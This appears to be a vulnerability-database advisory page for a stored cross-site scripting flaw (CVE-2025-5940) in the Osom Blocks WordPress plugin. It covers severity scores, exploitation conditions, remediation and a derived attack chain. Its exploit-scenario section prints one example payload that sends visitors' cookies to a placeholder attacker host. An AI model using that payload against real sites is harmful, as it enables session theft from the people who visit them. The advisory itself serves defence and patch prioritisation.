Skip to main content

Osom Blocks EUVDEUVD-2025-19355

| CVE-2025-5940 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2025-06-27 security@wordfence.com
6.4
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as Contributor
  2. Delivery
    Navigate to post editor
  3. Exploit
    Insert Osom Blocks CPT listing block
  4. Install
    Inject malicious JavaScript in class_name
  5. C2
    Save/Publish post
  6. Execute
    Victim accesses page
  7. Impact
    XSS executes in victim's browser
  8. Step 8
    Attacker achieves script execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must possess an authenticated WordPress account with at least Contributor-level privileges (or higher, such as Author or Editor). The Osom Blocks plugin must be installed and active, and the attacker must be able to add or edit posts using the block. The 'class_name' parameter is exposed in the block's interface; no special configuration or non-default settings are required beyond the plugin being active. The limiting factor is the authentication requirement (PR:L) - this is not exploitable by unauthenticated remote attackers.

Impact

Based on the CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N), the vulnerability requires authentication with at least Contributor-level privileges, limiting exploitation to privileged users. The EPSS score of 0.04% (percentile 11%) suggests a very low probability of exploitation in the wild. It is not listed in CISA KEV and no public proof-of-concept was reported. While the scope change (S:C) means injected scripts affect other users, the practical risk remains moderate due to the authentication requirement and low impact on confidentiality and integrity. There is no conflict between signals; the low EPSS aligns with the absence of active exploitation claims.

Exploit ScenarioDerived

A WordPress user with Contributor-level access edits a post and adds the Osom Blocks CPT listing block. In the block settings, they inject a malicious payload into the 'class_name' field, such as <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>. Upon publishing, any visitor to that page executes the script, potentially leaking session cookies to the attacker.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 26, 2026

Stored Cross-Site Scripting in the Osom Blocks WordPress plugin allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts via the class_name parameter, executing whenever a user views the compromised page. The vulnerability affects all versions up to 1.2.1 and carries a CVSS score of 6.4 (Medium) with an EPSS probability of 0.04%, indicating low exploitation likelihood. No active exploitation (KEV) or public exploit code has been identified at this time.

RemediationAI

Update the Osom Blocks plugin to version 1.2.2 or later (if released) by obtaining the latest version from the WordPress plugin directory (https://wordpress.org/plugins/osomblocks/#developers). Alternatively, apply the patch from the referenced Trac changeset manually. As a workaround, restrict the Contributor role or disable the plugin until patched. No specific side effects are anticipated from updating, but disabling the plugin would remove the custom post type listing block functionality.

Affected VersionsENISA

Osom Blocks – Custom Post Type listing block * ≤1.2.1

Affected Packages

euvd osom_blocks_custom_post_type_listing_block no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the Osom Blocks WordPress plugin, which provides a custom post type listing block via the Gutenberg editor. It stems from insufficient input sanitization and output escaping on the 'class_name' parameter, leading to Stored Cross-Site Scripting (CWE-79). The affected CPE is cpe:2.3:a:osompress:osom_blocks:*:*:*:*:*:wordpress:*:*, indicating the plugin is designed for WordPress environments. The flaw allows authenticated users to store malicious JavaScript that executes in the context of other users' browsers when they access the page, typical of stored XSS in WordPress plugins.

Know when Osom Blocks gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 6.4 MEDIUM

Requires authenticated Contributor access (PR:L); network vector, low complexity; impacts limited to low confidentiality and integrity with scope change.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Osom Blocks - Custom Post Type listing block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘class_name’ parameter in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Executive ViewAI

Why It Matters

Organizations using all should be aware of moderate risk from CVE-2025-5940, a cross-site scripting vulnerability rated CVSS 6.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Prevalence
Medium
WordPress plugin with moderate adoption
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Low

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy